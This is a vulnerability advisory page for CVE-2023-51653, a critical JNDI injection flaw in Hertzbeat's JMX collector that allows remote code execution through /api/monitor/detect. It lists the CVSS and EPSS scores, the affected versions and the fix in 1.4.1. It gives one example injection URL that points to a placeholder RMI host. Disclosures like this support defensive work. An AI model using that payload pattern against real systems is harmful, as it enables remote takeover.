JNDI Injection Vulnerability in Hertzbeat's `JmxCollectImpl.java` Could Lead to Remote Code Execution
CVE-2023-51653

9.8CRITICAL

Key Information:

Vendor

Dromara

Status
Hertzbeat
Vendor
CVE Published:
22 February 2024

What is CVE-2023-51653?

A vulnerability exists in the Hertzbeat real-time monitoring system due to improper handling of JNDI lookups in its JMX implementation. The flaw allows an attacker to exploit the /api/monitor/detect interface by injecting a malicious URL. When this URL is processed, especially one structured like service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari, it can trigger remote code execution, potentially compromising the integrity and confidentiality of the system. Proper mitigations have been introduced in version 1.4.1 to address this severe security concern.

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Affected Version(s)

hertzbeat < 1.4.1

References

https://github.com/dromara/hertzbeat/security/advisories/...
x_refsource_CONFIRM
https://github.com/dromara/hertzbeat/commit/f794b0d82be49...
x_refsource_MISC

EPSS Score

5% chance of being exploited in the next 30 days.

CVSS V3.1

Score:
9.8
Severity:
CRITICAL
Confidentiality:
High
Integrity:
High
Availability:
High
Attack Vector:
Network
Attack Complexity:
Low
Privileges Required:
None
User Interaction:
None
Scope:
Unchanged

Timeline

  • Vulnerability published

  • Vulnerability Reserved

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